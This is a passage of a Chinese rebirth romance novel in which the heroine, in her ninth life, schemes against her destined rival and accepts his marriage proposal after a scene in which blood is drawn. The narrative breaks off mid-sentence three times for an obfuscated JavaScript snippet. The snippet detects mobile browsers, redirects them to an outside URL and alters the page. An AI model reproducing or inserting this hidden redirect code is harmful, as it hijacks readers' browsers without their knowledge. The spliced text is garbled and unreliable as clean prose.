“阿姆。”崔时清歪头,看向柳氏,声音很轻,“我与纪危舟成婚,如何?” 柳氏睁大了眼睛,惊愕地瞅着崔时清看了许久,表情有些古怪地问:“时娘为何要与他成婚?” 柳氏可不认为,她的小主子是存了男女私情,才说的这话。 分明恨得不行,怎么就要谈婚论嫁了? 崔时清蹙眉,饮下手中的汤药,在柳氏的服侍下,吃了一口饴糖,又漱了口。 倚在床架的扶手上,思忖着,神色备懒地自语。 “为了磋磨他,一世呀。” 子嗣,不能有。 成婚,却不是不行。 成为纪危舟的正妻,近水楼台,她想打想骂,算计陷害,那些个碍眼的闲杂人等、莺莺燕燕的,还能管得着他们屋子里的事情了? 往后一切,全凭她做主,甭管纪危舟乐不乐意。 不,要的就是他不乐意,又无可奈何、忍气吞声的窝囊样。 那厮儿,就得日日夜夜任她欺辱! 崔时清越想,越是觉得此法,可行。 她仰头望着柳氏,双眸水亮,“他来过了吗?” 柳氏愣怔一瞬,点了点头,表情不快地答话:“午后送来药膏,奴家道您在歇息,便请他离开了。” 听到药膏,崔时清顿时心尖发颤,偏开了眼眸,声音闷闷的,有些不自在的。 “下次再来,就让他等着,若我得空,自会见他。” “时娘不可把婚事当作儿戏。”柳氏忐忑地瞅着崔时清。 不说出生,只论那吃人的做派。 小主子这样的娇娇娘,如何消受得了?! 这些顾虑,柳氏不好言明,只得再三强调,“此子,时娘万万嫁不得。” 崔时清抬起头来,落日余晖穿过门窗的缝隙,丝丝缕缕地投入她的眼中,带着暖意。然而,她的眉眼却还是冷寒如霜,冰沉晦暗。 九世的执念,化作有形的重量,压着她,不得欢喜。 除非,散去一身戾气。 否则,她终归是要,与纪危舟不死不休。 她,没得选。 “我知道。”崔时清偏过头,昳丽的眉眼上,却全是执拗。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13355191|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “可、可……”柳氏慌张地搓了搓手,压低了声音,“苏家小郎君呢?明年,他就出孝期了呀!” 苏珏? 崔时清眨着眼,想起了那张清俊的面孔。 她自小就知道,苏珏是最适合她的良人,两家虽没有定亲,却有着默契,只等着他们成年。 上一世,她可算是活到了商议婚事之时,却被雷,劈死了。 崔时清抱着双臂,打了一个寒颤,那股子烧糊的味道还在鼻尖,挥之不去。 苏珏再好,她也实在没有心思,去想了。 “阿姆,我与他无缘。”崔时清撇了撇嘴。 足足八世,一次也不成。甚至连面,都没见过几次。真真是,无缘亦无分。 “怎会无缘?!”柳氏不认这话。在她心里,崔时清和苏珏就是金童玉女,天老爷牵了红线的一对儿佳偶。 相配,最是相配的有缘人! 崔时清扬了扬眉,瞅着柳氏戏笑道:“也许哪日,我厌了纪危舟,这缘分便来了。” 等到九世死敌众叛亲离,失了天道之子的光环,她就踹了他,从此只求快活。 若是寂寞了,寻个俊俏的郎君,也无不可。 “……”柳氏脑子不太够用地瞪着眼。 “阿姆,京都贵女可不兴在一棵树上吊死,处不好合离的,大有人在。”崔时清不甚在意地摊了摊手。 “怎能如此?!” 柳氏一个头两个大,不明白事情怎么发展到这个程度,都乱了套了,捋了捋思绪,决定从源头上,阻止崔时清,“以公子的出身,崔氏主家如何会同意?还有老爷、夫人,他们断然是不肯的。” 崔时清把玩着青玉蝉,唇角噙着笑,“若是纪危舟有心求娶,这就是他要头疼的问题了。” 天道之子,连这儿都做不到,也就罢了。 再另寻别的法子,料理他就是。 崔时清拎起玉蝉上的金链子,在眼前晃了晃,望着虫儿颤颤巍巍的摇摆,轻声笑了。 * 暗影处,一袭黑衣的暗卫单膝跪地,刻意改变过的声线,平淡无奇,让人听过且忘。 低着头,语气平平,不夹杂一丝情绪,把见闻逐字上报。 “如有书信递出,先截下来。” “是。” 光影交替的瞬间,暗处的身影已无踪迹。 随从江南叩了叩门,得了应许,推门入内,站在纪危舟身后,躬身低语。 “主子,那里有消息了,需要动手吗?” “不必,继续盯着。” 江南点头领命,却没有出去,他瞅着主子的面颊,表情不太自然地问:“县主手段刁钻,这伤没用药,恐怕不易好。” 把药瓶握在掌心,青瓷丝凉凉的触感,让他想起指腹划过软嫩的后颈,及至腰窝下,那一手滑嫩微凉的冰肌。 纪危舟抿了抿唇,“既是她伤的,就该她来善后。” 还善后?别又给人挠一爪子,才好呢。 江南没敢泼凉水,讪讪地摸了摸鼻尖,退了出去。 纪危舟看着铜镜内漠然的眉眼,缓缓牵动唇角,淡笑着。 “上了我这棵树,还想走吗?” 5. 自证 不宜出门的崔时清,懒散地歪在竹榻上,感受着静夜的平静。 看似惬意,脑子却还转个不停。 过些日子,寿安长公主会举办一场诗会。 在这场诗会上,纪危舟出尽风头,惹得许多贵女为其倾倒,还在刺客手中救下嫡皇子赵晟真,得了皇后赏识,自此官途顺畅、平步青云。 若是,让同为从八品校书郎的崔绯,抢了先机,会如何呢? 崔时清张口咬住了送来嘴边的葡萄,沁凉丝甜的果肉滑入口中,散去了心尖的燥热。 她忍不住眯着一双桃花眼,伏趴在玉枕上,青丝散于身后,伴着蒲扇的风起风落,散漫地轻扬着。 崔时清又吃了口酸酸甜的葡萄,有些馋嘴,指尖动了动,懒声道:“端碗冰酪来。” 凉风突然停了下来,还没等崔时清反应,熟悉又讨厌的声音在耳侧响了起来。 “夜里不可贪食凉物。” 身子一扭,崔时清看到了一张更加惹人厌的脸,好心情顿时无踪。 “你怎么在此?!” 崔时清话罢,坐起身来,眸光一扫,瞪着纪危舟身后,颤巍巍伏跪在地的两名奴婢,当即就抄过玉枕,正想砸过去。 手下一顿,转换了方向,砸向来人。 纪危舟眼明手快,双手接住了还带着温香的玉枕。 崔时清瞅着俊逸面容上的划痕,讥笑道:“怎么不装温顺了?” “软软把私用的物件赠与我,自然是要接好了。”纪危舟淡笑着。 崔时清目瞪口呆,指着纪危舟,骂道:“你、怎的如此不要脸了?” 说好的,端方内敛、清正如玉的天道之子呢? 崔时清目露狐疑地打量着纪危舟。 灯下,浓黑的长睫根根分明,随着他低懒的嗓音,轻轻颤动着,晃得人心烦。 “软软,还要葡萄吗?” 崔时清微抿唇瓣,感到有些闷热,眼睛瞥向琉璃碟子上还挂着水珠的葡萄,井水冰过,入口酸甜冰爽。 下一刻,一颗剥了皮的紫葡萄,送至唇边。 “我有几句私话同你商量,不如让婢子们先退下?”纪危舟温声道。 “什么私话,让三公子这样的君子,大半夜闯了我的闺房?”崔时清吃着冰葡萄,嘲弄地睨着他,“连通传都无,不会是钻了丹青院的狗洞吧?” 纪危舟无辜地眨了眨眼,“正门进不来,只得另辟蹊径。狗洞倒是没找到,好在西侧的院墙矮些,堪堪可入。” 对于他过不了院门,崔时清并不意外。 柳氏疼爱她太过,难免多了些私心,拦下通传小厮。在这些小事上,崔时清愿意给柳氏几分体面,却不能更多。 崔时清斜眼觑着跪在地上的人,在桑麻身上多停留了片刻,冷声训斥。 “去阿姆屋里领罚。” 桑麻、玄鱼面色苍白,膝行退了下去。 崔时清收回目光,拢了拢肩头滑落的轻纱。 夏日闺阁内,她只着薄纱亵衣,内搭小衣长裙,肩颈锁骨、大片肌肤无可遮掩。 这样的装扮,不该见来客的。 崔时清没好气地瞪了一眼纪危舟,“你还要在此逗留多久?” 纪危舟垂下眼眸,也吃了口冰凉凉的果肉,冷酸的口感,让他微蹙起眉心。 下一瞬,揽过纤软的腰肢,手臂轻抬,把人放在膝上,手掌摩挲着软嫩的后颈,难耐的情绪在平静的黑眸中暗藏翻涌。 突如其来的亲近,让崔时清心生慌乱,攥着纪危舟的衣襟,语气又急又怒,低吼着警告。 “纪危舟!” “……软软,我很想你。” 鸦黑长睫轻颤了几下,崔时清被愈发浓烈的气息包裹着,面皮热烫发紧,连声音都虚软了几分。 “胡扯什么!今早些、我们才……才见过。” 纪危舟低低笑着,震动的胸腔厮磨着相贴的肌肤,温度上升,连夜风都裹挟着又闷又热的气息,惹得人气喘连连。 托起娇俏的小脸,纪危舟专注地望着那双勾人的桃花眼,抿了抿唇瓣上的果肉汁水,哑着嗓音问。 “我们成婚吧?” 盯着纪危舟抿唇的小动作,崔时清口干舌燥,有些烦闷地蹙着两道弯眉。 “我为何要嫁你?就凭你长得好看?” 脱口而出的话,让俩人都有些怔然。 崔时清懊恼地咬了咬唇。 纪危舟浅笑着,握着她的手,贴在面颊上,低语着,“这副皮囊尚可入眼,软软喜欢,自是可以增添几分情趣。” 崔时清冷哼了一声,随心地抚摸着如画俊秀的眉眼、高挺的鼻梁、洇湿殷红的唇瓣,躬身贴着他的鼻尖,缓慢地蹭了一下。 “你可能不知,看到好看的脸,我就想、划烂他。” 挤进指缝,十指交握着。纪危舟垂下头,轻啄了崔时清的手指,根根吻去,行走间激起丝丝躁动。 “还请软软,怜惜我。” 崔时清还没开口,大掌轻捏着腰侧的软肉,酥麻从脚底腾起,冲散了气力,借着纪危舟的撑扶,这才勉强坐稳了身子。 只是这般,俩人更是亲密无间了。 轻薄的亵衣和夏袍,并不能阻隔灼人的体热,心跳鼓噪的声响齐齐敲打着同频率的节奏,伴着滞涩的喘息。 紧实有力的腿部线条,有些硌人,但崔时清却不敢动弹,只得重心倾斜着,靠在纪危舟的怀中。 强压下心中的躁意,指尖划过他微凉的耳垂,崔时清目光阴鸷地冷笑着。 “你可知,夜闯女院之事,若传了出去,你这前途似锦的准校书郎,也不必报道上任了?” “嗯。”纪危舟浑不在意地拨弄着崔时清鬓边的碎发,偏头亲了亲,眼中含笑,不乏鼓励地望着她。 “软软若是不喜我任这校书郎,我可上表请辞。” 乖女娘,阻止我吧。 崔时清从他的眼中看出了几分真,神情微讶,直视着眼前之人。 入仕为官、造福万民,不是他的夙愿吗?这厮莫不是在跟我耍心眼子? 她心中思量着,总觉得从昨夜开始,有什么东西,不同了。 鼻翼轻微的翕动了一下,桃花眼不自觉地染上了一丝迷蒙潋滟的薄雾。 不对劲,有古怪啊! 崔时清按捺心中的猜疑,勾起嘲讽的轻笑。 “张老先生可知,他的关门弟子为哄骗女娘子,说出了这等荒唐之言?” 纪危舟拉着细软的手指头,轻轻啃了一口,不顾崔时清震惊的眼神,抱紧了怀里的小女娘,“为软软,我自是愿避退官场,先生想必也会理解。” “……为我?”崔时清歪着头,轻问。 “自然。”纪危舟扣着娇软的手,笑得十分和暖温良。 崔时清深吸一口气,压下了心中乱窜的杀意,耐着性子问:“为何?你被人夺舍了?” 九世宿敌,天道生的冤家。 是个什么冷清东西,谁还不知了? 一夜近身,就在这儿昧着良心,装起清纯?! 全是鬼话,她一字、都不信。 纪危舟迎上探究的目光,面不改色地淡笑着,“崔氏看不上我的出身,更别提一个从八品的官职。想要迎娶你,只得全力讨你欢心,才可如愿。” 崔时清黑眸微转,懒散地伏趴在纪危舟的肩头,歪头看着他,指尖点了点面颊上,被指甲划过的红痕。 面露天真的问:“只要我欢喜,什么都给我吗?” “我有的,任凭软软索取。”纪危舟道。 “……若我要的、是你的命?”崔时清娇娇软软地问。 低下头,蹭了蹭崔时清的鼻尖,纪危舟笑着说:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13355192|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 任你夺去。” 崔时清眼睛微弯,浅笑着,梨涡都染上甜意。欺身上前,在纪危舟的唇角落下一个轻吻,把寒瓜碟子上的刀子塞进他的手中。 切瓜的刀子很锋利,移动间冷白的寒光照在眉眼间。她嗓音甜腻缠绵,漆黑的眸子亮晶晶的。 “空口白牙,可迎娶不了崔氏女。” 纪危舟托着纤软的腰肢,轻轻摩挲着,故意发问:“软软不想亲手,验证我的真心吗?” 想的。 崔时清觑着利刃,惋惜地轻叹了口气。 可是,你天老子不许呀。 眼眸微转,指尖勾着纪危舟的衣袂,怯生生地摇了摇,娇媚的桃花眼含情地望着他。 “我哪里舍得伤了你?”崔时清皱了皱翘鼻,缓了缓心底的恶寒,眼尾微红地继续说,“可是,天下男子多薄幸,我也不知,郎君所言有几分真切,心底总是不安。” “若我自伤为证,软软便可心安,嫁与我了?”狭长的黑眸波澜不起,注视着崔时清。 潋滟红粉描绘着眉眼,朵朵盛开,与面颊染着的红晕,连成一片,娇艳动人。崔时清心跳如鼓,梦寐难休的渴求,烘烤着她,连呼吸都热了起来。 她双手微颤,拂过装着冰葡萄的琉璃盏,克制着,娇喘了几声。 ——崔时清,不可冒进。 从身侧取来一条白帕,指尖捏着展开,熏染的梅香一瞬扑鼻。 “红梅最得我心。”目光热切地望着她的九世死敌,崔时清笑靥如花,“郎君会让我满意的,是吗?” “软软想好了?”纪危舟漫不经心地举着刀,看了几眼。 崔时清急不可耐地点了点头,“天地为证,郎君赠我喜帕,以表真心,你我便成婚。” 纪危舟唇角微弯,意味深长地瞅着崔时清。 这是不肯了? 花言巧语的狗东西。 崔时清眉心微蹙,正要再说其他,只见纪危舟面不改色,刀刃划破掌心,她日思夜想的血红从皮肉之间,涌了出来。 顺着他的指缝,滴滴答答,大片的红,很快浸湿了帕子。 崔时清目不转睛地盯着,直到意识到了什么,条件反射地四顾了一圈。 没人,没有人。 没有该死的追随者,出来辱她、杀她。 哈,成了! 她可算是找对了方向。 一时间悲喜交加,眼眶酸涩,桃花眼湿雾雾地望着那张血帕。 堵在心口的八世戾气,稍有宽慰。 杀不死的天道冤家,还迷不死吗? 崔时清轻抚脸蛋,庆幸自己生得如此貌美,眉眼弯弯,笑得如沐春风。 托着腮,她欢欢喜喜地看着以血浸湿的帕子,心中催促着。 多些,再多些。 流干他的血。 “软软可信了,我的真心?”纪危舟把帕子,递与她。 崔时清微怔一瞬,神色迷蒙地抬起头,看向眼前之人。 面色怎如此红润?都失了这些血,还能好端端的? 是假血吗? 崔时清欺身上前,正要仔细探究,眼前倏然一黑,头晕目眩,身体似是被掏空一般,绵软无力地倒了下去。 “……我,这是、怎、么了?” 欢喜过头了吗? 纪危舟扶着怀中的人,无奈地轻叹了一声,指尖擦过她的唇瓣,苍白的嘴唇染上了血红。 他专注地,一点一点地描绘着。 片刻,稍感满意。 “这样明艳的妆容,最适合软软。” 崔时清:…… 什、什么?软什么…… 她这是,又要投胎了? 欸? 为什么? 鸦黑的长睫颤了颤,眼皮压了万斤重,思绪如棉花蓬软,轻飘飘的,陷入了混沌。 6. 昏症 再醒来,崔时清正躺在床榻上。 好像睡了很久,头昏昏沉沉,隐隐作痛。五感迟钝地转动着眼睛,迷糊了好一阵,昏迷前的记忆逐渐回笼。 她,又重生了? 崔时清眨了眨眼,靠着柳氏的搀扶,坐起身来。 ……不对。 抬起手,腕上的牙印清晰地落入眼底。 她可没死。 “还难受吗?”柳氏心疼地问。 崔时清的目光从柳氏移至帐幔后,弯腰侍立的两名府医身上。 “我这是怎么了?” 佝偻着身子的老者上前一步,“县主的脉象乃是气血两亏之症,病势虽急,却未伤及根本,好生调理一段时日,必可痊愈。” 崔时清张了张嘴,好半天,才不敢置信地问:“……气血亏损?我怎么就亏损了?” “这,老夫也觉得奇怪。县主贵体无损,可根据脉象所显,却是失血过多,引发了昏症。” 府医纳闷着。 上次诊脉时,还气血充盈,精神奕奕得很。 他小心翼翼地瞥了一眼模糊的人影。 这位县主娘娘,可是他见过的贵女中,最注重养生之道的。日日不落地用补品滋养着,五天请一次平安脉,生怕不小心,被阎王爷多挣去了一日。 难不成,是…… 府医紧抿着嘴,太过用力,导致苍老的面皮都皱成了一团。 吴言、吴言!可不兴胡思乱想!必定是你年老手抖,诊错了脉。 府医默默揉了揉发慌的心口,低下了头。 “连病都看不明白,要你何用?!” 崔时清气恼不已,随手将把玩许久的青玉蝉砸了出去。玉碎一瞬,又觉得很不吉利,咬着唇瓣,焦虑地拨弄着身前的乌发。 不行!可不能莫名其妙死在了纪危舟的前头! “苦夏小疾而已,不必担忧。”柳氏安抚地轻拍崔时清的脊背,望向府医,“县主可要行针?” “不必,眼下还是以静养为先。”府医佝偻的身子更弯了些。 嗐,近日别想有安生的了。 心中叫苦,面色却愈发恭敬,“汤药差不多要好了,老夫这就去瞧一瞧。” 柳氏客气道:“吴老费心了。” “县主贵重,自该仔细些。”说完,府医领着手下,作揖退下。 在柳氏的服侍下,崔时清用了一碗血燕。歪在床头,缓了许久,糟糕的心情才平复了些许。 “往主家送封书信,让叔父寻几位名医来。”崔时清思量着,扫了一眼不远处的宫灯,又道,“再派人去请御医,就、就请之前给外祖母调理身子的老御医。” “是。但御医……”柳氏犹豫片刻,低声劝道:“昨儿刚用过避子药,不如暂且由吴老照料着?” 避子药? “……阿姆,避子药可会损了身子?”崔时清的声音微扬,狐疑地瞅着柳氏。 “这是从主家带来的方子,药效温和,理应不会。”柳氏想了想,也有些不放心,“奴家这就把方子给吴老看一看,若有不对,也可调整您的用药。” 说罢,柳氏匆匆而去。 崔时清兀自陷入了深思。 不是避子药,又是因为什么? 是,太劳累了? 胸脯起伏,崔时清气闷不已,只想要摔砸些物件来泄愤,桃花眼四顾一圈,停在身侧的血帕上,顿时一怔。 失血过多? 指尖勾起半干的红帕子,不知是惧、还是气,头皮倏然发麻,寒气从脚底直冲天灵盖,凉飕飕。连心,都拔凉拔凉的。 怪不得那厮面色如此红润。 敢情,染帕的,是她的血?! 崔时清捧着帕子,双手颤抖。赛过红梅的血色,入眼刺目,让她心痛不已。泪珠子,更是顺着面颊,成串滚落。 悲悲戚戚地抽了抽鼻子,她挺起胸脯,指天叫骂,“贼子!天养的贼子!” 还没骂够,就感到一阵虚软,崔时清连忙扔下血帕,扶着床架,老老实实躺了下来,静养。 缓了神,长吁一口气,又陷入了委屈的情绪中。瘪了瘪嘴,哑声咒骂着,“……狗东西!偷血贼!凭什么呀,凭什么啊!真、呜、真是欺人太甚了。” 崔时清咬了咬衾被,低低呜咽着,心底还存有一丝庆幸。 ——还好忍着,没拿琉璃盏来盛血。 呜! 伤心了片刻,崔时清有些迷茫。 天道之子杀不得、害不了。 她,还能做些什么? 就这么认命了? 崔时清恹恹地抬起头,视线在半空中与稳步行来的纪危舟相撞,心底忽明忽暗的执念,立即窜起熊熊烈焰。 眉毛倒竖,一双桃花眼杀气腾腾地怒视来人,方才还绵软的四肢,顿时充满了气力。 亮出染着蔻丹的指甲,崔时清怒叱一声,“纪、危、舟!” 认命?!绝无可能! 天道让她输,她便逆天而行,把他亲儿子养成废物,抓瞎天道的眼! 左右不过是,生生世世,相互折磨! 她,又有何惧? 纪危舟看着床榻上,面色苍白,一双眸子却坚定有神,没有一丝动摇的女娘子,心跳快了几拍。 在崔时清不自觉地流露出迷惘之色时,他本以为自己给出的提示,太过残忍,以至于击溃了不曾言败的她。 他想走近些,看清楚。 也许会失望、败兴,继续行尸走肉般,做一个称职的工具,重复一世又一世,枯燥又乏味的人生。 纪危舟一眼不眨地凝视着那双鲜活水亮的眸子,三两步走到了崔时清的面前。 “好女娘。” 真好,你还在。 崔时清拧着眉,余光看着贴在鬓角,温柔抚摸的大掌,表情不太自在。 哪来的,一见面就夸人的死对头? “……你、唔。” 纪危舟有些急切地吻上了粉白的唇瓣,托着圆润的后脑勺,稍一用力,把娇软的身子紧紧地贴在心口上,一遍又一遍的,交换着彼此的气息,碾磨交缠。 天地之间,唯存彼此。空乏乏了九世的心,在此刻,充盈着难言的满足。 崔时清受不得这样的痴缠,又推拒不得,水眸湿润润的,望向纪危舟。 向来冷静自持的黑眸,微微泛着湿红,像是庄园里挨饿等食的大黄,生来凶悍的眼神里,无法自抑地流露出可怜的神情,乞求着她。 崔时清感到,心口鼓鼓胀胀的。 在他老子那处受来的委屈,得到了些许慰藉。 头号死敌纪危舟,此刻退位让贤,位居第二。因而,再看着这清俊的眉眼,崔时清的心中少了一丝厌烦,多了一点、一点点的顺眼。 ——你说的不错,天命使然。 既如此,你合该成为我的质子,为我对抗天道的不仁。 昳丽的眉眼染着红晕,手臂绕过纪危舟的肩颈,崔时清高昂着纤细脆弱的颈子,把自己,送入了他的口中。 无法压抑的渴望,从心底生出,在相视的瞳仁里,燃烧着,催生出更加汹涌的悸动。使得他们,迷失在每一个相触与深吻中,用尽所有气力。 好似,真的爱上了彼此。 …… “三公子,您怎好一再擅闯女院?!” 眼看着她家小主子娇娇软软被搂着,眼睛湿湿的,唇瓣又肿又红,细白的颈子上又添了几道咬痕。柳氏捧着药,惊声质问。 没吃过饭的狼崽子,凶残狠心的竖子!怎的又来了?! “……阿姆,你先下去。”崔时清拢了拢肩头的纱衣,面颊微红地开口。 “对,您快下!嗯?”柳氏不能相信地嗫嚅着唇,片刻,干巴巴地说,“时娘须用汤药了……” “还杵着做什么?”崔时清不耐烦地踢了纪危舟一脚。 纪危舟揉了揉气鼓鼓的面颊,起身接过汤药,目光温和地瞅着柳氏,笑了笑。 柳氏的视线被眼前的青年挡得结结实实,连崔时清的一片衣角都瞧不着,只得讪讪然地三步一回头,退出里屋。 直到柳氏消失在帘后,崔时清忍不住长吁一口气,与纪危舟相识一眼,从彼此的面上都看出了几分尴尬。 坐回床边,纪危舟探了探瓷碗的温度,温声道:“来,先把汤药喝了。” 崔时清正要伸手,心念一动,娇俏地眨了眨眼睛,望着他的手,问:“可有大碍?” “上过药了,养几日便好。” 纪危舟把包扎过的左手,放入崔时清的掌心,纤细柔软的手指犹豫了一下,轻轻握着他的拇指,摇了摇。 “可要仔细些,不能再让伤口出血了。”崔时清叮嘱。 “软软这是在心疼我?”纪危舟笑问。 “……”崔时清也笑了笑,不语。 纪危舟从袖中取出一支药瓶,递与崔时清,故作可怜地说:“我这面上的伤还没用过药,软软真的怜惜我,不如帮我一帮?” 崔时清诧异地瞪着瓷瓶,差点儿没笑出声来。 指甲划出的几滴血珠子而已,她,她…… 还是有些心疼的。 “为什么不上药了?!” 崔时清低骂了一声,没好气地扫了眼纪危舟面颊上的抓痕,打开瓷瓶,认认真真地上了两遍药。 纪危舟看着她不熟练地涂抹药膏,柔软的指腹贴在伤处,带起一片丝丝缕缕的痒意。秀气的娥眉微拧着,红润的唇瓣无意识地抿了抿,墨黑的瞳仁里满是他。 充实的欢喜感,又从心底涌出。 “好了,烦人精。”崔时清不耐烦地扔回药瓶,随手抽了张帕子,仔细擦拭手指。 “很香的。”纪危舟握着她的手,啄吻了几下。又托着纤白的后颈,低头含住饱满的唇珠,浅尝一口,喉结上下滑动着,克制道,“这里更香。” “……你还真是。” 真是什么,崔时清也说不明白。只觉得热意上窜,周围的温度又升了许多,闷得她心口怦怦乱跳,很想用碗冰酪平复一下燥热的夏日。 冰酪?不能吃啊。 崔时清幽怨地接过汤药,皱着眉,利落地喝下。却发现纪危舟傻愣愣地坐着,也不知伺候她吃糖洗漱,心中恶念一起,攀着他的肩膀,倾身吻了上去。 苦药在唇齿间漾开,一点点让人吞吃殆尽。 崔时清被吻得浑身酥软,桃花眼湿湿的,瞅着男子的眼睛,问:“还香吗?” 纪危舟没有回答,托着她的后脑勺,再次低头吻去。 崔时清偏头躲过,声音轻黏地戏笑他,“真会伺候人,不如把你卖去勾栏,可好?” 纪危舟揽紧了那把纤腰,一下又一下地轻抚着凉滑的乌发,低语道:“若入勾栏,我也只伺候软软一人。” 崔时清窝在纪危舟的怀中,正觉得舒坦,听着他温顺的嗓音,也多了些耐心,眯着眼睛,让他轻抚拍背。 真是贪图享受的小东西。 纪危舟眼中含笑,抱着软弱无骨的娇躯,低声夸道:“软软真乖。” 乖?这还了得! 崔时清抵着他的胸膛,高扬左手,又想给纪危舟补上一个对称的掌印。 好不容易哄她亲手上过药,纪危舟可不想再来一遭,扣住了腕子,在不满的眼神中,握在唇边轻吻了一下。 “噫,脏死了。”崔时清嫌恶地扬起下巴。 纪危舟不惯着她,把柔软的手指贴在唇边,一眼不眨地盯着崔时清的眸子,轻笑道:“吃我时,怎么不嫌脏?” 崔时清被问得面红耳赤,胸脯上下起伏着,气得不轻。 “我再亲亲你,不生气了,可好?”纪危舟勾着她的指尖,轻轻地捏了捏。 “谁要你亲了?!”崔时清咬牙切齿,恨不得活吞了他。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13355193|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 纪危舟抬起小巧的下巴,笑道:“天地为证,软软是要嫁与我的,除了我,自是谁也亲不得了。” “我虽应了你,但婚姻大事皆从父母之命,你我能否成婚,还未有定数呢。”崔时清边说,边扭动着身子,挣脱纪危舟的环抱。 纪危舟神色平静地淡笑着,看着崔时清一点一点往外挪,即将完全脱离他的时候,大掌前探,不容抗拒地箍着那只莹白如玉的脚腕,欺身覆了上去。 张口咬住绵软的耳垂,嗓音低沉微哑,无尽缠绵地呢喃低语着。 “软软,要了我吧。” 浑身一颤,耳根好似被羽毛扫过、痒痒的,连带着心尖都酥麻了一片。 这人莫不是狐妖转世?崔时清惊骇地揣测着,可脑子乱糟糟的,注意力不断被耳畔的呼吸声所吸引。 在她理智稍有回笼时,已绵软无力地挂在纪危舟的身上,任其摆弄了许久。 “……不行,避、子药伤身。”崔时清用力地摇了摇头,捂着纪危舟的嘴,不给亲了。 纪危舟轻叹了一声,额头抵在她的颈窝处,委屈地说:“我们尽快成婚吧,好不好?” “……”差点顺嘴应好的崔时清,颇为懊恼地瞪了纪危舟一眼,冷着声音开口道:“我年岁尚轻,成婚了也不可过早生子。” “无妨。成婚以后,我来服用避子药,必不会伤及软软的。” 纪危舟把玩着她的手,绵软的小手在他的掌心微微蜷曲着,小小的指甲上染着粉色的蔻丹,像是生来便知爱美的小女娘,童趣又漂亮,可爱得紧。 若是。 纪危舟含笑地仰望崔时清。 居然有些期待,这世间存在着,属于他们的小女娘。 崔时清不知纪危舟的想法,眉头微锁,思考着他的话。 天道之子服用避子药,伤的会是谁的身子呢? 这总不能算在她头上了吧? 越想越生气,崔时清觉得自己又要被气死了,恶向胆边生,翻身扑倒了纪危舟,坐在他的身上,骂骂咧咧。 “赃官狗贼,怎么一窝都是坏的呀!是不是又想使什么损招了?!啊!你说、你说清楚了呐!” “我喜爱你都不够,怎会害你?”纪危舟躺平任捶任骂,末了只柔声解释一句,就又摆出一副逆来顺受的样子。 崔时清发泄了片刻,眼瞅着揪不出纪危舟的不是,便眯起眼拷问道:“那,天王老子和我不对付了,你会帮谁?!” “自是要帮软软的。”纪危舟想也不想,就答。 “要是,是我不好呢?”崔时清俯身,贴脸逼问,随时准备挠花这张好看的脸蛋。 纪危舟一瞬不瞬地望着近在眼前的桃花眼,蹭了蹭挺翘的鼻尖,说:“软软是我的心头肉,我自是要帮亲不帮理的。” “……骗子。”崔时清坐起身子,嘟囔了一声,但眼睛仍旧亮晶晶的,藏不住的高兴。 “软软真好看。”纪危舟看着动人的眼眸,笑着。 “真烦。”崔时清面颊红扑扑的,颇有些苦恼地睨了纪危舟一眼,而后弯身,在他的唇上亲了一口,鸦黑的睫羽扇动了好几下,指尖抵着他的面颊,警告道,“说好了,必须要帮我,不然,就抓花你的脸!” “任凭处置。” 纪危舟捧着她的脸,还想多要些糖。 崔时清却有些腻烦,拍开他的手,往旁边一坐,踢了踢赖着不动弹的纪危舟,下了逐客令。 “走吧,不许再翻墙入院。” 纪危舟托着头,侧身瞅着崔时清,“可我,会想软软的。” “少给我上眼药。”崔时清看着纪危舟厚颜不改的德性,没好气道,“难不成还要我处置奶娘,给你解气?” “不敢。”纪危舟垂着眼,拨弄着纱衣上的荷叶纹路,看似浑不在意,声音却闷沉了几分。 崔时清感到一阵牙酸,皱了皱脸,不搭理被忧郁笼罩的美郎君,眼眸空洞、表情有些呆滞。 等了一会儿,也不见安抚与喂糖的回应,纪危舟神色幽幽地抬起头,直勾勾盯着神游天外的女娘子。 “……你在想谁?”寒玉般冰凉的声音,从微抿的薄唇间溢出。 “哦,周公啊。”崔时清不在状况地眨了眨眼睛,懒声道。 纪危舟:“?” 瞥了眼纪危舟充满困惑的表情,崔时清没好气地耷拉着双肩,抱怨道:“我乏了!” 用了汤药,她就该躺下静养的。胡闹了这些时候,也不知有无影响了药效! 崔时清瞪了一眼占据了床榻,舒舒服服躺着的人,心怀怨恨。 纪危舟回过神来,连忙躺平,理所当然地看着坐立在旁的女娘子,张开双手,“我哄软软入睡。” 她缺的是哄睡吗?崔时清无语片刻。 眼皮子沉沉的,压得她无暇与其争辩。顺从身体的本能,蛄蛹着身子,趴在了纪危舟的身上,就不想动弹了。 